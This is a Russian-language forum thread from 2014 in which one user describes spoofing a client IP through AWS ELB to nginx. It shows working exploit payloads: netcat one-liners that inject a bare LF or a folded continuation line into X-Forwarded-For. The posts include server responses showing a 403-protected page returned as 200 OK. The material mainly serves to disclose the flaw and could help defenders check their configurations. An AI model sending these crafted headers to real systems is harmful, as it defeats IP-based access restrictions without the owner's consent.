Старый 06.04.2014, 11:44   #1
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию Простой IP Spoofing с AWS ELB

Интернет пестрит рекомендациями по конфигурации nginx за ELB с возможность определения IP клиента для условий:
1. Используется HTTP проксирование
2. Нода не смотрит в мир, все запросы приходят исключительно из ELB
Все они сводятся к включению модуля ngx_http_realip_module:
Код:
real_ip_header X-Forwarded-For;
real_ip_recursive off; #с включенным все еще проще
set_real_ip_from 172.31.0.0/20; #диапазон IPов ELB
Таким образом, при обработке клиентского запроса IP источника будет дописан в заголовок X-Forwarded-For:
Код:
GET / HTTP/1.1
host: ip-10-0-7-142
X-Forwarded-For: 1.1.1.1, 8.8.8.8
X-Forwarded-Port: 80
X-Forwarded-Proto: http
Connection: keep-alive
Но есть нюанс, разработчики ELB не стали следовать рекомендациям RFC и воспринимают за конец строки только CRLF, о чем сказано в доке Elastic Load Balancing, X-Forwarded Headers, между тем nginx как и большинство остальных веб-серверов решили следовать этой рекомендации, вот например кусочек парсинга строки запроса:
PHP код:
ngx_http_parse_header_line(ngx_http_request_t *rngx_buf_t *b,
    
ngx_uint_t allow_underscores)
{
   ...
    
/* header value */
    
case sw_value:
        switch (
ch) {
        case 
' ':
            
r->header_end p;
            
state sw_space_after_value;
            break;
        case 
CR:
            
r->header_end p;
            
state sw_almost_done;
            break;
        case 
LF:
            
r->header_end p;
            goto 
done;
        case 
'\0':
            return 
NGX_HTTP_PARSE_INVALID_HEADER;
        }
        break;
    ...

Уже догадались к чему я веду? Если послать запрос с заголовком X-Forwarded-For:
Код:
GET /some HTTP/1.0\r\n
X-Forwarded-For:127.0.0.1\n\r\n\r\n
ELB допишет к нему наш IP и на бекенд придет запрос вида:
Код:
GET /some HTTP/1.0\r\n
host: ip-10-0-7-142\r\n
X-Forwarded-For: 127.0.0.1\n, _some_ip_\r\n
X-Forwarded-Port: 80\r\n
X-Forwarded-Proto: http\r\n\r\n
Nginx распарсит заголовок запроса X-Forwarded-For до первого LF и тем самым любые ограничения по IP в nginx/php становятся абсолютно бесполезны.
Простой пример, имеем очень простой и условный конфиг nginx:
Код:
server {
        listen 80 default_server;
        server_name localhost;
        charset utf-8;


        real_ip_header X-Forwarded-For;
        set_real_ip_from 127.0.0.0/8;
        set_real_ip_from 172.31.0.0/20;


        root /var/www/default_html;
        index index.html;

        location /some.html {
                allow 127.0.0.1/32;
                deny all;
        }

        location / {
                try_files $uri $uri/ =404;
        }
}
И пробуем получить содержимое:
Код:
$ echo "GET /some.html HTTP/1.0\r\n\r\n" | nc some-853556919.us-west-2.elb.amazonaws.com 80
HTTP/1.1 403 Forbidden
Cache-control: no-cache="set-cookie"
Content-Type: text/html; charset=utf-8
Date: Sun, 06 Apr 2014 07:42:36 GMT
Server: nginx/1.4.1 (Ubuntu)
Set-Cookie: AWSELB=6D4BCD2B162AD80F2203A0DC9FAC878B181E4FDE6F3CC2AE3BD49FAE18166C2AFF96CC7A2A8B891A2831F7C09BED18AE7BF684752568FCF58D35C1D79F9E56D1BC9CC08206;PATH=/
Content-Length: 177
Connection: Close

<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.4.1 (Ubuntu)</center>
</body>
</html>


$ echo "GET /some.html HTTP/1.0\r\nX-Forwarded-For: 127.0.0.1\r\n\r\n" | nc some-853556919.us-west-2.elb.amazonaws.com 80
HTTP/1.1 403 Forbidden
Cache-control: no-cache="set-cookie"
Content-Type: text/html; charset=utf-8
Date: Sun, 06 Apr 2014 07:43:51 GMT
Server: nginx/1.4.1 (Ubuntu)
Set-Cookie: AWSELB=6D4BCD2B162AD80F2203A0DC9FAC878B181E4FDE6F300BE060A94A138499EA93EDACB629DB8B891A2831F7C09BED18AE7BF684752568FCF58D35C1D79F9E56D1BC9CC08206;PATH=/
Content-Length: 177
Connection: Close

<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.4.1 (Ubuntu)</center>
</body>
</html>


$  echo "GET /some.html HTTP/1.0\r\nX-Forwarded-For: 127.0.0.1\n\r\n\r\n" | nc some-853556919.us-west-2.elb.amazonaws.com 80
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-control: no-cache="set-cookie"
Content-Type: text/html; charset=utf-8
Date: Sun, 06 Apr 2014 07:44:07 GMT
ETag: "53404170-2"
Last-Modified: Sat, 05 Apr 2014 17:46:24 GMT
Server: nginx/1.4.1 (Ubuntu)
Set-Cookie: AWSELB=6D4BCD2B162AD80F2203A0DC9FAC878B181E4FDE6F3CC2AE3BD49FAE18166C2AFF96CC7A2A8B891A2831F7C09BED18AE7BF684752568FCF58D35C1D79F9E56D1BC9CC08206;PATH=/
Content-Length: 2
Connection: Close

1
Что и требовалось:-)

Последний раз редактировалось dharrya; 06.04.2014 в 12:08..
dharrya вне форума   Ответить с цитированием
Старый 08.04.2014, 00:48   #2
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

С этой же конфигурацией есть и другой ход конем - использование многострочных заголовков. Дело в том, что несмотря на RFC 2616:
Цитата:
Header fields can be extended over multiple lines by preceding each extra line with at least one SP or HT.
Nginx так и не поддержали эту фичу, а ELB наоборот поддерживает, таким образом если послать запрос на ELB:
Код:
GET / HTTP/1.0
Host:ya
X-forwarded-For:127.0.0.1
 1.1.1.1
от ELB к Nginx прилетит запрос:
Код:
GET / HTTP/1.1
host: ya:8080
X-Forwarded-For: 127.0.0.1
 1.1.1.1, 213.14.100.229
X-Forwarded-Port: 8080
X-Forwarded-Proto: http
Connection: keep-alive
ELB посчитал " 1.1.1.1" продолжением значения заголовка и по честному дописал IP источника, а nginx увидит только 127.0.0.1, приняв " 1.1.1.1, 213.14.100.229" за невалидный заголовок;-) Таким образом ограничения из примера в посте обходятся и расширением заголовка X-Forwarded-For до многострочного:
Код:
 echo "GET /some.html HTTP/1.0\r\nX-Forwarded-For:127.0.0.1\r\n 8.8.8.8\r\n\r\n" | nc some-853556919.us-west-2.elb.amazonaws.com 80
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-control: no-cache="set-cookie"
Content-Type: text/html; charset=utf-8
Date: Mon, 07 Apr 2014 20:48:16 GMT
ETag: "53404170-2"
Last-Modified: Sat, 05 Apr 2014 17:46:24 GMT
Server: nginx/1.4.1 (Ubuntu)
Set-Cookie: AWSELB=6D4BCD2B162AD80F2203A0DC9FAC878B181E4FDE6F300BE060A94A138499EA93EDACB629DB8B891A2831F7C09BED18AE7BF684752568FCF58D35C1D79F9E56D1BC9CC08206;PATH=/
Content-Length: 2
Connection: Close

1

Последний раз редактировалось dharrya; 08.04.2014 в 00:50..
dharrya вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot